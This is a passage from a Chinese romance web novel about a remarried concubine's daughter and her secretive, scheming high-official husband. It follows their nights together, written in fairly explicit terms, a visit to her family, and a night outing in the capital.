外头的雨下得越来越大了,回庭院之前,天都还好好的,没怎么刮风,夜里竟起雷声下那么大的雨。 祝吟鸾才睡了一觉,两人之间默了许久没说话,她还是没有睡意。 也不知道怎么的,听着雨鬼使神差之下,她问了一句沈景湛为何没娶到他喜悦的姑娘? “沈家高门大户,世子爷又玉树临风,还怕求娶不成吗?” 难不成那姑娘并不喜爱他? 可就算是不喜爱,若是沈家侯爷侯夫人上门求娶,对方的门户看沈家权势,沈景湛人品,定然也会应允的吧? 所以,到底是因为什么? 沈景湛沉默良久,祝吟鸾补了一句,若他不方便可以不说。 男人轻笑,“并没有什么不方便,若是鸾儿想知道,我尽可以告诉你。” 祝吟鸾等着他的下言。 她脑子里一直在想那女子莫不是已经去世了,亦或者两家有血海深仇不便结亲之类的…… 没想到沈景湛说,“我来晚一步,她已经嫁人了。” “什么?”居然是已经嫁人了? “那年……朝廷内忧外患,为稳定朝纲基业,我请旨领兵出征,回来之时,她家中人已经给她许了亲事。” 祝沉檀攀附高门要嫁骆暄,又怕外面的名声不好听,朱夫人疼惜女儿,先把卫家和祝家的姻缘了了,当初喜帖还没出,谁知道嫁过去的人竟然是她? 思及此,男人的眼底阴暗顿显。 祝吟鸾完全没有往她自己的身上联想,知道真相的她忍不住替沈景湛惋惜,转念想到他说的朝廷内忧外患,问他是不是清查御史台那一年? “对。”沈景湛应她的话。 那年他为求药去往西域,又在前夕紧赶回来参加科考。 虽然拿下高中状元,分的官位也不错,可祝家的门第太低了,她又是庶女。 他很清楚,要想力排众议,抵挡家中亲长阻碍他要娶她的决策,必然得手握大权,叫人不敢言语,领兵出征是最快的。 可谁知道,他处理完北狄和突厥的战事,马不停蹄回京,竟得知她已经嫁了。 他如愿提到御前稳坐中书,御史台,父亲母亲,乃至祖母都不敢对他的姻缘指手画脚。 可惜,造化弄人。 但没关系,嫁了又如何?拆散了抢过来便是。 话是这么说,不能强抢,还得暗抢,免得吓到她。 “真真是可惜了。”祝吟鸾叹出一口气。 沈景湛想说不可惜,兜兜转转,她还不是躺在他的身侧。 可他不能说。 祝吟鸾也不知说些什么来安抚沈景湛,她实在不擅长在男女之事上宽慰人,想劝他想开,似乎……也不合适,索性就没说话了。 真不知道是哪家的贵女啊? 自然是不好追问沈景湛,祝吟鸾在心里盘算着朝廷清算“御台案”的那一年成亲的人家有哪些。 思来想去,一时之间,脑中一片空白找不出来。 因为她深居简出,很少留意嫁娶之事,更主要的是嫡母不让她出家门,少让她见外客,再加上先前招了秋寒,生了一场重病,许多事情都记不得了。 正当祝吟鸾放弃探知之时,她忽而惊觉,她似乎就是在那一年成亲的啊…… 她的思绪顿了一下。 对,正是那年前夕长姐遇到骆暄,被骆暄看上后穷追不舍,卫家的婚事落到了她的头上,稀里糊涂她就嫁了。 想归想,祝吟鸾并不认为沈景湛喜悦的人是她。 因为她跟沈景湛素未谋面,并不认识,他中意的人怎么可能是她? 况且,长姐也是在那一年成的亲。 若是明日问问明芽和姣惠,定然知道还有哪家的贵女,可若是问了也不太好,罢了。 她将这件事情渐渐放到脑后,没有再想,听着雨声酝酿睡意。 今日这雨下得也有好处,至少不用逢场作戏了。 没想到,沈景湛会问她,“能问问鸾儿适才梦魇是做什么噩梦吗?” 祝吟鸾要进入梦乡的思绪又被拉了回来。 她默了一下,那个绮丽旖旎到崩溃失控的梦要怎么说? 便是明芽和姣惠她都不好开口,何况是对着沈景湛呢? 她还在酝酿斟酌,想着要不要胡说一个,沈景湛道她若是为难可以不说。 祝吟鸾想了想,“也不是什么难以启齿,只是梦境过于神乎其神,不知如何与你言说。” “嗯?”男人疑惑,似乎来了兴趣。 “我梦到有一只白虎追着我撕咬,我疯狂逃窜,可还是落到他的手里?被他咬得遍体鳞伤,所以吓醒了。” “原来如此。”沈景湛听出她的隐瞒,却没有拆穿。 “明日我让人给你熬安神汤吃了看看?” “没事,不过就是一个梦而已。”祝吟鸾笑了笑。 “天色不早,鸾儿早点歇息吧。”他为她掩了掩被褥,没有告诉他,适才去拧帕子,他在熏炉里添了安神香。 祝吟鸾轻嗯一声,没一会渐渐睡了过去。 却不知她身侧的男人一直清醒着。 “……” 翌日,沈景湛也一直陪着祝吟鸾逛沈家的院子。 沈家实在太大了,他带着她逛得慢而细,一整日下来,竟也没有逛完。 早午晚膳都是在正厅与长房大家一道用的,跟昨日也没什么区别。 但祝吟鸾自幼心思敏锐,尤其是在跟亲长们相处之时,她总是更留意。 因此,她感受到了沈夫人频频看过来的目光,似乎有话要说却又钻不到空子,因为沈景湛一直在,沈夫人想避开他。 祝吟鸾虽然隐隐约约察觉,但又不敢轻举妄动。 她只在心里猜测沈夫人要单独找她说什么事? 左思右想之下,只想到一种可能,或许跟沈景湛第一日所说要搬出去的事情有关吧? 或者…… 她对镜梳妆的手一顿,莫不是祝家和卫家的人找上门来了? 这些时日她都快要把祝、卫两家的事情给忘了。 自从那些无赖地痞被赶走以后,她又搬走消失,便再也没有见过祝家的人了,有沈景湛在其中帮忙,先前关停的一个铺子倒是重新开了起来。 后面在施家,要整理两家给她的嫁妆清单,实在太多了,她压根顾及不过来,加之备嫁心慌,施家的人整日里陪着,渐渐的,她把这件事情抛诸脑后。 沈家娶亲。 按理说,祝家很有可能拿不到喜帖,但卫如琢那边就说不定了,毕竟他高升爬到了礼部的重要位置。 若是那日他也来了,定然会带着长姐。 卫如琢和长姐要是看到她高嫁了……会如何。 必然不会真心祝福她,气得跳脚才是真的。 祝家真要是知道了,以嫡母无利不起早的样子,一定会来找沈家… 所以来了吗?找沈夫人了吗?假使她的预感没有错,沈夫人又要跟她说什么? 祝吟鸾在心里乱糟糟想着。 却没发觉,沈景湛站在她后面看她好一会了。 明芽和姣惠,以及小丫鬟们十分有眼力见地退了出去。 等她反应过来,从铜镜当中对上男人的眼眸,这才意识到她想得太入迷,完全忘记时辰不早该歇息了。 “……” 今日比起上前一日,烈火烧得更猛一些。 祝吟鸾揽着他的脖.颈,都不知道她怎么会…情动的那么快。 是因为沈景湛俯在她的耳侧也发出了声音,喘得特别好听吗? 他可是三省之一的中书令大人,本是她够不着的人。 可如今却揽着她的腰,吻着她的侧脸和耳朵。 他的手又放在了什么地方时重时轻,搅弄风云。 他也情动了吧? 否则他的气息应该平稳的,此刻却起伏不一,她都听到了。 沈景湛的声音本就好听,此刻染上.情.欲,更叫人听了心间发颤。 他又吻下去,手松开,薄唇亲上的期间有所停顿,似乎看了一会。 祝吟鸾不知道他那一瞬在想什么,只知道沈景湛似乎……很喜欢她心口之上的位置。 他几经流连,吻出大大小小……令人听了脸红心跳的声响。 她快要被他给亲化了。 声音断断续续传出去,还有些想哭,但不是因为痛苦,而是舒服得难抑,整个脚趾都忍不住蜷了起来。 是错觉吗? 他跟昨日相比,似乎要更会亲了一些。 他进步了。 在男人进一步的吻势之下,祝吟鸾的确忍不住低低抽泣起来。 他在她的心口之上的地方,反反复复吻她,都还没有到亲密无间的一步,她已经忍不住哭了起来。 眼泪珠子打湿了睫毛,下意识揽紧了男人的臂膀。 他察觉到她蜷缩起来的自我保护的动作。 停下来,抬头,哑着声音柔声问她,“是害怕还是疼痛?” 可都不是,要怎么回他? 第42章 第42章他给人的感觉表里不一。…… 她面子薄,常常因为一两句话而面红耳热心跳加速。 对于房中事上,张口都难,更别提,要跟他陈情具体原因? 祝吟鸾实在是无法告知他,两者都不是。 她不疼痛也不害怕而是舒坦过头,被他吻得愉悦颤栗,所以才在难耐之下溢出眼泪。 可他还在等着她的回答。 深色眸子看着她的眼睛,瞧着她红红的眼尾,被泪水打湿凝成一簇一簇的睫毛。 祝吟鸾不好回话,索性就不答,她被沈景湛看得面色羞赧,揽着他臂膀的手腕也忍不住蜷起来。 靠近他,把她的脸藏起来,想用行动告诉沈景湛不要看了。 整个人柔柔弱弱依附着男人,好似被雨水打湿了,立在春雨里颤颤巍巍的菟丝花,惹得人心口一热,眸色越深。 男人伸手抚开黏连在她脸上的长发,因为她的乌发实在是太长了。 有一些不听话的陷入柔软雪线里,在他一直流连忘返的地方。 他把头发给拿开的时候,引得她痒,还以为他又要用大掌控制,欺负人。 越发躲了躲,被褥早已被两人踢到了里面,此刻的她还能往什么地方躲? 只能往他怀里钻了,她认为沈景湛的胸膛过于宽阔,藏下她绰绰有余。 最主要的是藏在沈景湛的怀中,他便是低头都不能够轻易看清楚她的神色了。 可沈景湛了解她,回味过来她此番情态是害羞了。 勾唇低声笑开。 他虽然没有接着吻她,但笑声传到了她的耳朵里面,笑时胸膛也跟着震动,祝吟鸾本就红润的脸越发滚烫。 她想问他笑什么,但已经没有必要了,因为她很清楚沈景湛究竟在笑些什么。 好在他的笑声没有维持多久,他将她捉出来。 长指温柔捏着她的下巴,将她整张小脸呈在眼前,指腹摩挲着她的下巴。 祝吟鸾避无可避被迫与他对视,沈景湛的眸子真的太幽深了,每一次看他,她都会有这样的感觉。 此刻她看着他,竟察觉到了他眸中情绪在翻涌。 祝吟鸾心跳得厉害,她喘气也不匀称。整个人的双膝蜷跪在柔软的锦裘之上。 两只皓腕垂落在身侧,长发倾泻在身后,发尾随着两人位置变化而莹莹波动。 明明有所察觉,心中也有了准备,可当沈景湛将她往他那边带,整个人吻下来的时候,祝吟鸾还是忍不住酥了一下。 前一日,他有亲她的唇吗? 似乎没有。 蹭她面颊的时候有摩挲过,但没有这样直接对着她的唇瓣吻下来。 在外辗转反侧,来回吻她的唇瓣不说,还尝试性的往唇瓣里亲。 祝吟鸾察觉到男人的吻渐入佳境,她不知该接纳还是抵触柔软的外来之客那会,他又停止。 往回退却,保持着一个分寸,只在唇瓣外亲吻。 纵然如此,依然吻得激烈。 男人的大掌控着她的后脑勺,另外一只手还揽着她的腰肢亲她,他的动作无一不透着强势。 祝吟鸾在这样的控制之下,根本没办法逃脱他的吻。 只能被他亲。 在他无形的引导之下,她娇嫩的唇瓣也会时不时的轻轻回吻一下,可都在对方的强势攻吻淹没了。 又是她的错觉吗?床榻之上的沈景湛完完全全就像是变成了另外一 个人。 床榻之下的他温柔体贴周到细致,说话做事也润朗清和。 可床榻之上的沈景湛……强势霸道,危险阴暗。 她此刻感受到的床榻之上的沈景湛,尚且有所克己与控制。 可若是他不隐忍控制了呢?又会变成什么样子? 祝吟鸾慢吞吞想着,她被过分欺负吻出泪珠的眼抬了起来,隔着朦胧不清的视线看到男人俊逸的眉眼。 她没有嫁给沈景湛,没有遇到他之前,是不是在什么地方,很早以前,偶然见过他? 为什么这样看着他,觉得好熟悉啊。 不仅是这一次的熟悉,先前被她忽略的许多次莫名的诡异的熟悉感蹦出来了,甚至串了起来。 第一次是在申家药堂,她低头走路险些摔倒,是沈景湛帮了她,当是他拉拢她过去,挽过她的腰肢,她觉得熟悉。 第二次,就在昨前日,他沐浴之后从浴房当中走出来,她看到了他隐匿在昏暗当中的颀长身姿,也觉得熟悉。 更近一次的熟悉……是她梦魇了,清醒之后,沈景湛帮她擦拭手脚,捏过她的脚踝,她觉得在很早之前,沈景湛就这样捏过她的脚踝拖拽着她。 到底是从何处冒出来的诡异熟悉感? 她开始觉得……自己很早之前是不是见过沈景湛啊? 可她招寒之后忘记了很多的事情,怎么都想不起来了。 察觉到她的走神,他越发重地吻她俯身下来,祝吟鸾躺入柔软当中。 此刻的思绪已经容不得她想太多了,因为男人施展下来的强势,她需要全身心应对才可以。 “……” 也不知道过了多久,祝吟鸾感觉她变成了一汪春水。 她的手指紧紧攥着被褥。 很久过后,这场积攒了许久的春雨,才随着男人指尖的抽离而落下。 她脑中一片空白,几乎是整个人瘫软下来,大口呼吸着。 沈景湛也在旁边平复呼吸。 他的情况要糟糕很多,甚至都不必看他的起势,只瞧着他隐忍的脸色就知道了。 额头上青筋暴起,面色浮现出痛苦的潮红,一看便知他的难受。 他这时候还没有起身,是因为疼痛难忍吗? “你……你要不要我帮你?”沈景湛并不与她真的走到那一步,却也帮她做了不少事情。 祝吟鸾便如此反问。 昏暗当中他没有看见男人眸底一闪而过的得逞。 只听到他反问,“如此会不会太委屈鸾儿了?” 男人清俊的眉眼展露少有的脆弱,叫人觉得无害之时,还让她深觉易碎。 祝吟鸾,“…没有。”他做什么要用如此可怜的眼神看着她? “…礼尚往来。”祝吟鸾轻声,“你帮我,我也帮你。” 她和他之间是无关情.爱的,唯有做戏。 祝吟鸾在心里如此想着。 若是在两月之前,有人和她说,她会变成眼下情爱与情欲分开的模样,她定然不相信。 因为没有爱的人,如何能做这件事情呢? 现如今,她竟然把这两者分清了。 甚至在与沈景湛做戏的过程当中,她感觉到与卫如琢时没有的快意和愉悦。 她都分不清是因为她是对沈景湛没有爱,只有纯粹的专注想要做这件事情,从而身体力行感悟了快乐,还是因为别的什么,总之说不清楚。 她缓和过来了,爬起身。 但因为腿软险些摔入被褥当中,也幸而沈景湛搀住了她。 他的手掌好烫,不对,他整个人都是烫的。 滚烫炙热,好似起了高热一般。 几乎将她的手心烧伤。 说是帮忙,祝吟鸾也不知道如何做。 因为她所知道的,周公之礼也就只有那样的周公之礼而已。 说起来,是通过沈景湛,她才知道原来可以不用真的那么做。 思来想去,在沈景湛的目光注视之下。 她抬起手腕,触及用肉眼观察,都令人觉得可怕至极的…… 这一刻她庆幸,或许没有行周公之礼是对的,好的,因为观眼下之他…… 这样的,只怕疼痛难忍。 她跟卫如琢的时候都好疼。 卫如琢根本比不上沈景湛,若真的是沈景湛,那又多疼,多难受? 她不敢看,眼神一直回避。 女子的动作笨拙,样子看起来懵懂,种种反应看起来十分生涩,应当是第一次接触到这样的事。 在这个静谧繁乱的夜里,谁都没有再开口。 但在帮忙碰触的一瞬间,祝吟鸾听到了男人倒吸一口凉气的反应。 她立马就停下来,睁着圆润的水瞳,无声询问他还好不好? 沈景湛靠近,俯身用额抵上她的额头,鼻尖触碰她的鼻尖,无事两个字轻而缓地蹦出来。 男人额头上的汗珠与她脸上的汗珠混到了一起,再也无分彼此,就连气息和香味都冗杂。 祝吟鸾接着继续。 她实在是第一次这样帮忙别人,不懂应该怎么做。 原本想要学习沈景湛帮她的那样,可是…… 她和沈景湛不同。 她从沈景湛那地方学到的东西压根就不适用。 所以她只能乱来。 她的乱来之下,沈景湛也并不好过,看他痛苦的脸色就知道了,是她从未见过的挣扎。 祝吟鸾登时手足无措。 她不能朝他求助,顿了一会,只能慢吞吞,改为轻柔的接着乱七八糟的继续。 慢工出细活之下,竟然敲打误撞令他好过了一些。 祝吟鸾没想到他居然那么快……就……好了吗? 正是因为措不及防,所以她的手,她的衣角,弄得一片狼藉,需要清洗…… 更有甚者,甚至到了她心口之上的位置,是怎么飞溅上来的? 怎么会变成这样?可他看起来并没有好啊,什么地方出错了? 可她还没有回神,她被他推倒,两只细细的脚踝,被他捏起。 然后强势的风卷,仅仅过春山之门而不入,只在门口辗转。 祝吟鸾反应过来,他并不是结束了,而已被她笨拙的手法,折腾得崩溃,只是短暂崩溃了一会而已。 祝吟鸾看着男人布满痛苦的俊脸,冷汗顺着他的额头滑过他俊朗的眉眼,至于鼻尖悬立,要坠不坠。 他的睫毛也如同她的一样,打得湿透了。 唯一不同,他是被汗珠浸染,而她是因为哭泣。 不知道过了多久,祝吟鸾亵衣前面全都脏了,“……” 这场风雨才勉强结束。 沈景湛应当也是累了,他俯身抱着她正在平复气息。 为此,祝吟鸾听到了他激烈如雷贯耳般的心跳。 她的心也跳得厉害。 与沈景湛心脏跳动的激烈并不一样。 但在这场不一的跳动里,好似在相互追逐,冗杂。 更重要的是感受…… 转眼间就要到了回门的时日,沈家这边由着沈夫人亲自盯着人备办,自然是礼数周全。 临出门前,沈夫人还是让祝吟鸾看了礼单,问她可觉得缺了什么,再添也使得。 祝吟鸾自然不敢提,也没什么要提的。 沈夫人挑的东西贵重不提,数量多得用马车整整拉两车,完全是够了。 可在她走过场般翻看礼单铺子的时候。沈景湛竟然对着沈夫人淡淡开口道, “母亲真要问鸾儿的意思,昨日就应当把礼单簿子送来,临要出门了才给她看,又是当着您的面,时辰短促不说,她脸皮薄,怎么敢提添什么?” 祝吟鸾想阻拦都没来得及。 沈夫人,“……”果真是她养的好儿子。 娶了媳妇忘了娘。 幸而旁的小辈不在,否则沈夫人的面子都要被他呛没了。 祝吟鸾忙跳出来打圆场,“婆母细心,礼单簿子上的回礼已经非常周全了。” 她又睁着眼睛说瞎话补充道,“况且前日夫君去书房办政务不在内室,那会婆母已经差了小丫鬟送礼单过来给我看了,我主张添了父亲爱喝的毛尖茶二斤,婆母今日放了四斤呢。” 闻言,倒是给沈夫人补了面子和里子。 她看着祝吟鸾的脸色也微微缓和。 沈景湛反问,“是吗?” 沈夫人冷哼一声,“是与不是,就看你信不信你媳妇说的话了。” 祝吟鸾神色微微不自然,没吭声了。 沈景湛结果一旁小丫鬟递来的斗篷给她披上,“自然是信的。” 沈夫人看着两人之间的互动,模样倒是郎才女貌。 为方才的一番话,她多看了祝吟鸾一眼。 上马车之后,祝吟鸾原本想提刚才的事情。 她觉得沈景湛有时说话太过直接了,但转念一想,他也是为了她才去呛的沈夫人。 此番下来,即便是为了面子,顾忌着沈景湛,不论什么事情,沈夫人行事定然会更周全,提前告知她,再不会像今日就走个过场而已。 她斟酌不好言语,索性不张口。 沈景湛在一侧看策论,似乎是朝廷上的事情,她便也没打扰。 马车之内摆了糕点和茶水,味道很好,她吃了一两块。 吃得专心,不知道旁边的男人分了余光在窥视她。 祝家那边早就备好饭菜了,一大家子除却身上有伤不方便的施将军之外,基本都在门口等着迎接。 这样热闹的回门,祝吟鸾很早之前也没有感受过。 如今心头被温暖到了热意,看着沈翕云的脸竟还有些鼻酸。 众人在一处用过早膳,施将军陪着沈景湛说话。 祝吟鸾则跟着沈翕云去了后院。 沈翕云问她这些时日可还好?关心着她在沈家的一切。 “都好的,母亲放心。”祝吟鸾一一告知。 她想到出门时发生的事情,想了想,还是跟沈翕云提了一嘴。 沈翕云夸她做得好,“景湛给你抬脸面,定然会叫家中人不悦,虽说都是一大家子没有隔夜仇,但你也万万不能恃宠而骄,要多在其中斡旋一二,久而久之,你婆母跟你也就亲近了。” “女儿知道了。”祝吟鸾点头。 说完这个,她又想起沈景湛说要搬出去的事情,沈老太太和沈夫人又不想两人挪府别住,径直讲了。 沈翕云听罢,“我刚要跟你说呢,昨日你婆母来了施家,正为这件事情。” 昨儿沈夫人不在家,席面是二房姨娘.操.办的。 她当时还纳闷了一下沈夫人去哪里了?竟是过来这边了? “不知婆母上门是怎么说的?” 沈翕云道,“你婆母让我劝你,不要叫景湛另府别住。” 第43章 第43章她不爱沈景湛却喜欢与他行房…… 让她去劝沈景湛不要另府别住? 沈老太太提这件事情都被沈景湛给呛了回去,沈夫人绕弯子找到施家来,祝吟鸾也不怎么意外了。 这两日她一直跟沈景湛在一处,沈夫人钻不得空子,让沈翕云来劝她,也是情有可原。 前日她便察觉到沈夫人看向她时欲言又止。 要说的不是祝家与卫家的事情,而是她和沈景湛要搬走的事,是她猜中的第一种可能。 回过神,祝吟鸾在心里默默松了一口气,至少不是祝家和卫家那些乱七八糟的事情。 虽说现如今已经成功嫁给了沈景湛,再也不怕祝家和卫家的施压。 但娘家和曾经嫁过的婆家就好似一柄利刃般,悬在她的头顶,若是落下,就会划破她眼下平静祥和的日子,带出那些潮湿晦暗,不见天日的过往来。 那四年实在太不好过了,尽管她已经脱离,可回想起来却依然会被隐忍过头的窒息感而包裹。 那些难熬的日日夜夜她从来都没有忘记,只是藏在了心底而已。 “鸾儿,你是怎么想的?”沈翕云见她沉默,问她的意思。 “我……” 不知道…… 祝吟鸾深知她在沈家唯一的依仗就是沈景湛,但若是完完全全依靠沈景湛,不与沈家人接触,周全好关系,也是决计不成的。 即便只是盟亲…… 男女之间的姻缘一旦成了,可不只是男女两情相悦,两心相许那么简单了,况且她和沈景湛之间没有这些情意,只有利益。 将来若是出现什么变故没有退路——譬如沈景湛不需要她这位盟友了,她又被沈家休弃了。 那才是真的万劫不复,毕竟沈家的身份这么高,真到那个地步,恐怕真的要离开京城了,才得立足。 这些时日沉浸在初入沈家的忐忑里,沉溺在夜里与沈景湛的颤栗情动中,光想着应对前来听墙角的老妈妈,都忘了应该要为她自己盘算盘算。 既入了沈家,她或许可以凭借沈家在京城站稳脚跟呢? 这样做有些难,但……总不能没有丝毫盘算吧,至于眼下,先走一步看一步吧。 有了思量,脑中勉强清晰些,可她却也不知如何做,沈家的人不好接近,个个都是人精。 “我先前是想要搬出去,现如今恐怕……” 沈夫人都找沈翕云叫她去劝沈景湛了。 若是她还执意要搬走,岂不是得罪了沈夫人和沈老太太吗? “母亲……您的意思呢?”她求问沈翕云。 沈翕云跟她讲道,“你婆母说景湛高中之后朝廷事忙便渐渐少回家中住了,如今也时常在外面。” “他是长房嫡子,又是侯府世子,一直在外绝计是不成的。” 的确是这样,祝吟鸾没说话。 沈景湛终究要袭爵的。 他若要袭爵,必然要在昭平侯府。 思及此,祝吟鸾忽而觉得奇幻,若沈景湛袭爵之时,她和沈景湛之间没有出现任何的变故,她便是侯夫人了? 她一个庶女何德何能? 心里如此想,祝吟鸾还是没露出风声。 沈翕云接着道,“我与你婆母说这件事情要看你与景湛的思量,我怕是.插.不上嘴。” 话说到这里,沈翕云也没有提意见,到底应不应该搬出去。 她很清楚,祝吟鸾性子虽然柔软,但骨子里却透着韧劲,能够自己拿得定主意,跟她亲生的三个女儿都不一样。 果然,她说完之后,祝吟鸾便道,“女儿清楚了。” “嗯。”点到为止,沈翕云没有再说这件事情。 祝吟鸾原本还想问问祝家和卫家的事情,可又觉得让沈翕云去留意她之前娘家的动向不太好,索性沉默下来。 罢了,兵来将挡,水来土掩。 待从施家离开之后,天色已经很晚了。 沈景湛在马车上翻看了一会策论,到京中大道之时,他放下手中的册子,问她想不想出去转转? 祝吟鸾还在走神,愣了一下。 “京城不宵禁吗?” 她甚少在晚膳时分过后出门,眼下早就过宵禁的时辰了吧? “鸾儿跟着我,不会出事。”他让她放心,又跟她讲邻近端午,京城宵禁的时辰改了。 “好。”祝吟鸾点头。 入夜的京城也亮堂,房檐瓦角处纷纷悬挂起了照亮的灯笼烛火。 四处林立的铺面还很热闹,几乎坐满了人。 虽然还没有真正到端午,可很多铺面里已经做了端午相关的小食。 “鸾儿想吃吗?”他注意到她的目光流转。 祝吟鸾摇头,“我还不饿。” 即便她讲了不饿,沈景湛还是让随从买了一些放到马车上带着,说回程的路上可以尝尝。 沈景湛对她十分大方,不仅仅是大方,她只是几不可查地扫过一眼,微微停顿了而已。 他竟然也能够发觉她对端午的小食有兴趣,他的细心到了一种令人 惊绝的地步。 这就是能跟着御前掌诏令的人的恐怖吗? 除此之外,她还想到,昔年,刚嫁到卫家时,她也曾跟着卫如琢出游过,是京城的一年一度的庙会,她从没见过。 那时候的她瞧什么都新鲜,可他对她展露的兴趣没有丝毫的留意,也不曾给她买什么物件。 还觉得她是个庶女没见过世面,没有分寸,让她在外不要东张西望,免得叫人看笑话。 当时被训斥的祝吟鸾,面上难堪,心里酸涩得想哭,别说那时候难受,如今回想起来都委屈。 也是从那以后,她迫着自己端庄,安分,贤良,听话。 她一直按着卫如琢想要的正妻去学,去做,可到头来,她做到了,他却嫌弃她呆板,沉闷,无趣。 正走神着,忽而被沈景湛给拽到了怀中。 撞到男人宽阔硬朗的胸膛,祝吟鸾吓了一跳,“……” 她看到擦着她眼睛而过的糖葫芦,如果不是沈景湛拉她过来,她即将撞上了… 那小贩连忙道歉,“对不住啊娘子,郎君!我这瞧着路让马车,却不防备后面有人。”小贩连声道对不起,还给两人赔了两串糖葫芦。 沈景湛接了糖葫芦要给小贩银钱,小贩说什么都不要,说是送两人吃了压惊。 最后,沈景湛只要了一串糖葫芦,让祝吟鸾拿着吃。 “你…不要吗?” 祝吟鸾还被沈景湛护在怀中,睁着惊吓未曾散尽的瞳仁,看着眼前红润泛着蜜糖光泽的糖果怔愣。 却没留意到不远处,那小贩走远后拐入巷子,早等在巷子里的沈景湛的随从,递给他一袋荷包,夸他刚刚做得好。 小贩点头哈腰,捧着荷包笑得合不拢嘴,“多谢贵人夸奖,日后还有这样的活,只管叫小人就是!” “……” “鸾儿先吃。” 祝吟鸾回神,从他怀里出来起身,按下面上浮现的不自然,正色。 她左右看了看,犹豫再三,还是轻轻咬了一口糖葫芦。 这糖葫芦做得太大了,一口还咬不下来,甚至有些.硬。 想着在外面,即便是沈景湛不介意,她总要注意一二。 所以祝吟鸾便只是像小猫舔碗般轻轻舔了一口,便没有再吃了。 她专注着糖葫芦,不防备男人瞧着她一举一动的眸色有多深沉。 许久,她抬眼见他注视着她,神情露出迷惑不解,无形中透着清纯诱人,仿佛在问他瞧什么? 还以为是她唇边沾染了糖葫芦上面撒的芝麻,她不止是伸出舌尖去.舔,还伸手去摸,没有摸到什么。 但沈景湛一直看着她。 刚要直接问,男人已经挪开了目光,他道,“夜里人多,我牵着鸾儿走?”他让她接着吃糖葫芦。 “算了……” 沈景湛的样貌身形都过于瞩目,跟在他身边受到不少打量,若是再牵手同行…… 虽说两人已然成亲,可到底是在大庭广众之下,总归不好,于是她拒绝了。 “我会小心一些跟着——” 你……的。 后话还没有说完,男人便牵住了她的手往他身边一拽。 原是有稚童跌跌撞撞奔过身侧,手里还拿着弹弓和鲁班锁。 这孩子太矮,她完全没注意到…… 祝吟鸾的手被男人大掌扣紧,这次也是措不及防,她手里的糖葫芦险些摔落,忙不迭伸手去抓。 的确是抓住了,只是那糖葫芦黏在了沈景湛月白锦衣之上,就连她的手都脏了,全是糖渍。 祝吟鸾没想到打脸竟来得如此之快。 实在太过于尴尬了,她想去帮他擦,可她的手也是脏的。 男人轻笑一声,祝吟鸾脸红耳热,她轻咬唇瓣,抬眼瞧上他。 却撞入男人温柔含笑的俊逸眉眼,羞得怎么低头都不是,“……” 一直到回了侯府,祝吟鸾脸上的红温都无法退却。 见她脸色一直红温久久不散,明芽还以为是不是吃了什么不合适的东西,问她哪里不舒服? 她下意识看向沈景湛,对方嘴角噙着淡淡的笑。 彼此心照不宣的保留着话茬。 明芽察觉到主子之间的古怪,但没有打破砂锅问到底。 许是有了白日里的插曲,祝吟鸾总觉得今日沈景湛亲她之时比往日都要凶猛。 而且一上来他便吻了她的唇瓣,没有在别的地方停留周转。 他的大掌就放在她的脸侧,控制着她。 祝吟鸾左右偏头都不行,只能被迫承受着他的吻。 他吻了唇瓣许久,渐渐往里探去。 可触及里侧之时,都已经把她亲得气喘吁吁了,他竟还不忘记停下来问她,“可以吗?” 祝吟鸾的鼻尖与他的鼻尖相互碰触。 她轻声嗯,面红若蜜桃。 沈景湛看了有她一会,忽而掐着她的腰身将她整个人给转过来。 祝吟鸾吓了一跳。 转眼之间,她已经到了沈景湛的身上,居高临下看着他。 因为常年习武,他的腰腹无一丝赘肉,可以说.硬.邦邦的。 中衣那么薄,她几乎不敢乱动,因为害怕碰到不敢碰的。 他怎么忽然将她整个人给转过来,让她在上面? 祝吟鸾想要下去,可是男人的两只大掌掐着她的腰身,她若是想要下去,必须先要他松手。 垂眼躲避男人,可他在她的眼皮子底下,不论怎么样都能看到他。 她看到了男人中衣敞开之下的胸膛,他深凹的锁骨,他的侧颜轮廓。 “你做什么?”她的声音很低。 话没说完,沈景湛腰腹一动,他似乎就是挪位置而已,可她却摔了下去,趴在他的身上。 唇瓣擦拭过他的薄唇。 没有多余的话,他寻到她的唇与她索吻。 继续了被打断的吻。 吻上之后,祝吟鸾总算知道他为何要换位置了。 因为他要让她主导,他把掌控权交给了她。 这样的确让祝吟鸾有安全感。 她笨拙却缓慢的回应之后,沈景湛才继续吻她,勾着她吻她,甚至是学她。 只不过他比她吻得好,在沈景湛跟学的对比之下,祝吟鸾感受到了她吻技的短缺。 这不怪她,她和卫如琢极少亲吻。 一开始是吻过,但她极害怕又不敢回应,卫如琢没有耐性,渐渐的便很少吻了,他只顾他欢愉,历来是不会照顾她的。 祝吟鸾一开始觉得情.爱羞耻,后来是疼痛,但为了要孩子不得不那么做。 可跟着沈景湛,她少见的感受到了行周公之礼的乐趣。 也慢慢理解,为何会有男子流连忘返于烟花之地寻乐趣了。 昏暗的幔帐当中,尽是两人的接吻声。 渐入佳境之后,祝吟鸾的呼吸短缺,他会时不时停顿下来,一来二去,祝吟鸾慢慢地学会了换气。 男人的手大掌顺着边沿,攀上美不胜收的春山。 攥稳的一瞬间,祝吟鸾没忍住。 她冒出咛泣。 连续几日都这样,外面的小丫鬟们都不禁感叹两人也太蜜里调油了。 先前还以为大公子不近女色,可碰上祝家姑娘,竟也缠着对方夜夜笙歌,日日都要闹上许久。 “……” 祝吟鸾垂眸看到男人的薄唇吻上白雪凝成的春山。 沈景湛合该在朝堂上进谏奉策,号令中书.官.僚,此刻却吻着她。 他便是在做这样的事情,脸上也没有任何被.情.欲,充斥的猴急且丑陋的急不可耐。 或许得益于他实在生得太俊了,眉眼绝伦如画中玉郎,神台君子。 可这位俊如画中玉郎,神台之上的君子却折于她的衣衫.裙.下。 祝吟鸾忍不住.哭咛出声。 细嫩白如新葱的手攥着男人臂膀,指甲滑过男人手臂之上蜿蜒的青筋,留下浅浅 的划痕。 她骨子里窜起一股酥麻,在他的唇退离之时,甚至想要追逐上去,让他接着吻她。 祝吟鸾都不知道她自己是怎么了。 她明明不喜欢沈景湛的,她并不爱他,但很喜欢与他耳鬓厮磨。 他吻得她好舒服,还很会照顾她的感受,观察她的一举一动。 但他又死守着分寸,只在春山门外徘徊不前,就是不越雷池一步。 “……” 这一日也是这样的,只是位置不同。 祝吟鸾的后腰狼藉一片。 有他,亦有她的。 分不清彼此。 她脱力了。 整个人趴在他的怀中奄奄一息,娇娇.喘着气。 两人的衣衫,并未完全褪去。 却春色弥漫。 若是被人瞧见,谁敢相信,始终没有越过那一步呢? 祝吟鸾听着他的心跳声。 这一次比上次更清晰,她的耳朵就贴在他的心口之上。 